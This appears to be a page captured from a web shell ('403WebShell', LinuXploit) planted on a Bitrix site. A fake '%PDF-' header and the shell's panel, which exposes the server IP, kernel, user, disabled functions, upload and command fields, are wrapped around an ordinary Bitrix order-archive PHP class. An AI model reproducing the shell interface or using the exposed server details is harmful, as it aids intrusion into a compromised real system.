%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.189.182.211
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/orderarchive.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sale
 * @copyright 2001-2016 Bitrix
 */
namespace Bitrix\Sale\Internals;

use Bitrix\Main;
use Bitrix\Sale;

/**
 * Class OrderArchiveTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_OrderArchive_Query query()
 * @method static EO_OrderArchive_Result getByPrimary($primary, array $parameters = array())
 * @method static EO_OrderArchive_Result getById($id)
 * @method static EO_OrderArchive_Result getList(array $parameters = array())
 * @method static EO_OrderArchive_Entity getEntity()
 * @method static \Bitrix\Sale\Internals\EO_OrderArchive createObject($setDefaultValues = true)
 * @method static \Bitrix\Sale\Internals\EO_OrderArchive_Collection createCollection()
 * @method static \Bitrix\Sale\Internals\EO_OrderArchive wakeUpObject($row)
 * @method static \Bitrix\Sale\Internals\EO_OrderArchive_Collection wakeUpCollection($rows)
 */
class OrderArchiveTable extends Main\Entity\DataManager
{
	/**
	 * Returns DB table name for entity.
	 *
	 * @return string
	 */
	public static function getTableName()
	{
		return 'b_sale_order_archive';
	}

	/**
	 * Returns entity map definition.
	 *
	 * @return array
	 */
	public static function getMap()
	{
		return array(
			new Main\Entity\IntegerField(
				'ID',
				array(
					'autocomplete' => true,
					'primary' => true,
				)
			),
			new Main\Entity\StringField(
				'LID',
				array(
					'required' => true,
				)
			),
			new Main\Entity\IntegerField(
				'ORDER_ID',
				array(
					'required' => true,
				)
			),
			new Main\Entity\StringField(
				'ACCOUNT_NUMBER',
				array(
					'size' => 100,
					'required' => true,
				)
			),			
			new Main\Entity\StringField(
				'USER_ID',
				array(
					'required' => true,
				)
			),
			new Main\Entity\ReferenceField(
				'USER',
				'\Bitrix\Main\User',
				array('=this.USER_ID' => 'ref.ID'),
				array('join_type' => 'INNER')
			),
			new Main\Entity\StringField(
				'PERSON_TYPE_ID',
				array(
					'required' => true,
				)
			),

			new Main\Entity\StringField('STATUS_ID'),

			new Main\Entity\ReferenceField(
				'STATUS',
				'Bitrix\Sale\Internals\StatusLang',
				array(
					'=this.STATUS_ID' => 'ref.STATUS_ID',
					'=ref.LID' => array('?', LANGUAGE_ID)
				)
			),

			new Main\Entity\BooleanField(
				'PAYED',
				array(
					'values' => array('N', 'Y')
				)
			),

			new Main\Entity\BooleanField(
				'DEDUCTED',
				array(
					'values' => array('N','Y')
				)
			),

			new Main\Entity\BooleanField(
				'CANCELED',
				array(
					'values' => array('N', 'Y')
				)
			),

			new Main\Entity\FloatField(
				'PRICE',
				array(
					'default_value' => '0.0000'
				)
			),

			new Main\Entity\FloatField(
				'SUM_PAID',
				array(
					'default_value' => '0.0000'
				)
			),

			new Main\Entity\StringField(
				'CURRENCY',
				array(
					'required' => true,
					'size' => 3
				)
			),

			new Main\Entity\IntegerField(
				'VERSION',
				array(
					'required' => true,
				)
			),

			new Main\Entity\IntegerField('XML_ID'),

			new Main\Entity\IntegerField('ID_1C'),

			new Main\Entity\DatetimeField('DATE_ARCHIVED'),
			
			new Main\Entity\DatetimeField('DATE_INSERT'),

			new Main\Entity\IntegerField('RESPONSIBLE_ID'),
			
			new Main\Entity\IntegerField('COMPANY_ID'),
			
			new Main\Entity\StringField('ORDER_DATA'),

			new Main\Entity\ReferenceField(
				'BASKET_ARCHIVE',
				'Bitrix\Sale\Internals\BasketArchive',
				array(
					'=ref.ARCHIVE_ID' => 'this.ID'
				)
			),

			new Main\Entity\ReferenceField(
				'ORDER_PACKED',
				'Bitrix\Sale\Internals\OrderArchivePacked',
				array('=this.ID' => 'ref.ORDER_ARCHIVE_ID'),
				array('join_type' => 'INNER')
			)
		);
	}

	/**
	 * Adds row to entity table
	 *
	 * @param array $data An array with fields like
	 * 	array(
	 * 		"fields" => array(
	 * 			"FIELD1" => "value1",
	 * 			"FIELD2" => "value2",
	 * 		),
	 * 		"auth_context" => \Bitrix\Main\Authentication\Context object
	 *	)
	 *	or just a plain array of fields.
	 *
	 * @return Main\Entity\AddResult Contains ID of inserted row
	 *
	 * @throws \Exception
	 */
	public static function add(array $data)
	{
		$orderData = $data['ORDER_DATA'];
		unset($data['ORDER_DATA']);

		$result = parent::add($data);

		if ($result->isSuccess())
		{
			OrderArchivePackedTable::add(array(
				"ORDER_ARCHIVE_ID" => $result->getId(),
				"ORDER_DATA" => $orderData
			));
		}

		return $result;
	}

	/**
	 * Deletes row in entity table by primary key
	 *
	 * @param mixed $primary
	 *
	 * @return Main\Entity\DeleteResult
	 *
	 * @throws \Exception
	 */
	public static function delete($primary)
	{
		$result = parent::delete($primary);

		if ($result->isSuccess())
		{
			$checkOrderData = OrderArchivePackedTable::getById($primary);
			if ($checkOrderData->fetch())
			{
				OrderArchivePackedTable::delete($primary);
			}
		}

		return $result;
	}

	/**
	 * Renew table records from serialized data.
	 *
	 * @param array $filter.		Filter for selection updating entries.
	 *
	 * @return Main\Result
	 */
	public static function renew(array $filter = array())
	{
		$result = new Main\Result();
		$parameters = array("select" => array('ID'));

		if (!empty($filter))
			$parameters['filter'] = $filter;

		$idList = array();
		$archivedOrderData = self::getList($parameters);
		while ($archiveRow = $archivedOrderData->fetch())
		{
			$idList[] = $archiveRow['ID'];
		}

		if (empty($idList))
			return $result;

		$idListChunk = array_chunk($idList, 1000);
		foreach ($idListChunk as $chunk)
		{
			$packedData = OrderArchivePackedTable::getList(array(
				"filter" => array("ORDER_ARCHIVE_ID" => $chunk)
			));

			while ($packed = $packedData->fetch())
			{
				$orderData = unserialize($packed['ORDER_DATA'], ['allowed_classes' => false]);
				if (is_array($orderData['ORDER']))
				{
					$preparedOrderData = array_intersect_key($orderData['ORDER'], array_flip(Sale\Archive\Manager::getOrderFieldNames()));
					$result = self::update($packed['ORDER_ARCHIVE_ID'], $preparedOrderData);
					if (!$result->isSuccess())
						return $result;
				}
			}
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit